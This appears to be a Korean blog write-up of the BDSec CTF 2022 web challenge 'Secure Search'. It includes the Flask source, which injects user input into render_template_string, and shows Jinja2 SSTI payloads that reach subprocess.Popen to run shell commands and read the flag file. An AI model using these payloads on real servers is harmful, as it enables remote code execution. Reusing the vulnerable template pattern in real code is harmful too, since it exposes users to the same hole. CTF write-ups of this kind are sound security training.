-
이 문제는 소스코드가 주어진다. 소스코드는 아래와 같다. (엄청 간단한 문제라 코드 없이도 풀 수 있다.)
from flask import * app = Flask(__name__) @app.route('/',methods=['GET', 'POST']) def base(): person = "" if request.method == 'POST': if request.form['name']: person = request.form['name'] palte = ''' <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Secure Search</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous"> </head> <body> <h1 class="container my-3">Hi, %s</h1> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script> <div class="container my-3"> <form action="/" method="post"> <div class="mb-3"> <label for="text" class="form-label">Type your name here:- </label> <input type="text" class="form-control" name="name" id="text" value=""> </div> <button type="submit" class="btn btn-primary">See magic</button> </form> </div> </body> </html>'''% person return render_template_string(palte) if __name__=="__main__": app.run("0.0.0.0",port=5000,debug=False)
문제에 들어가면 위와 같은 페이지가 보이는데 직감 상 ssti 문제 같아 {{7+7}}를 날려봤다.
역시나 ssti 문제가 맞았다.
{{7+7}}의 결과가 아래와 같이 나옴을 확인할 수 있고 SSTI 공격이 가능한 것을 볼 수 있다.
ssti 취약점이 존재하는 경우 subprocess.Popen Class를 찾아 RCE를 할 수 있다.
이 문제의 경우 352번 위치에 subprocess.Popen Class가 존재하였다.
{{ ''.__class__.__mro__[1].__subclasses__()[352]('ls -al', shell=True, stdout=-1).communicate() }}
ls -al로 현재 디렉터리에 flag 파일이 존재하는 걸 확인하였다.
cat flag로 flag 파일을 읽어주도록 하자
{{ ''.__class__.__mro__[1].__subclasses__()[352]('cat flag', shell=True, stdout=-1).communicate() }}
Flag : BDSEC{Y3Y_7H1515_7H3_F146}
'CTF > BDSec CTF 2022' 카테고리의 다른 글
[BDSec CTF 2022] Awesome Calculator (0) 2022.07.22 [BDSec CTF 2022] Knight Squad Shop (0) 2022.07.22 [BDSec CTF 2022] Awesome Note Keeping (0) 2022.07.22 댓글